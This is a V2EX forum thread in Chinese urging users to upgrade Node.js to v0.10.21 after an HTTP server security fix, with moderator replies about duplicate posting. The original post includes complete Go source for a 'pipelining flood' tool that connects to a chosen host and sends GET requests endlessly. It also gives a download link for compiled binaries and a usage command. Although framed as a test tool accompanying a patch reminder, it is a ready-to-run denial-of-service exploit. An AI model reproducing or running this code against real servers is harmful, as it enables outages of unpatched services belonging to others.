提醒更新Node v0.10.21,以防exploiter

2013-10-19 16:10:44 +08:00
 pathletboy
以下是官方说明:
This release contains a security fix for the http server implementation, please upgrade as soon as possible.

尽快更新吧,附上测试工具代码

package main

/*
A simple pipelining flood for nodejs
Author pathletboy[at]gmail.com
Date 2013-10-18
*/

import (
"flag"
"log"
"net"
)

func main() {
host := flag.String("host", "", "specify the target")
flag.Parse()
if *host == "" {
flag.PrintDefaults()
return
}
var conn net.Conn
var err error
if conn, err = net.Dial("tcp", *host); err != nil {
log.Fatal(err)
}
for {
if _, err = conn.Write([]byte("GET / HTTP/1.1\r\nHost: " + *host + "\r\nAccept: */*\r\n\r\n")); err != nil {
log.Fatal(err)
}
}
}

编译好的bin(win/linux)

http://pb.itsong.com/floodnode.7z

floodnode -host="xxx.com:xx"
3517 次点击
所在节点    Node.js
4 条回复
GordianZ
2013-10-19 19:14:48 +08:00
重复发帖
/t/86114
pathletboy
2013-10-19 20:29:42 +08:00
@GordianZ 不知重复在哪,代码本人自己编写,非网上摘抄,请告知重复内容。
GordianZ
2013-10-19 20:41:33 +08:00
@pathletboy 新闻重复了,遇到类似情况请在已发布主题内回帖。
GordianZ
2013-10-19 20:47:14 +08:00
@pathletboy PS, 下次发内容在标题内注明“附 exploit 实现”,不然标题都一样没人知道帖子有什么不同。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/86120

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX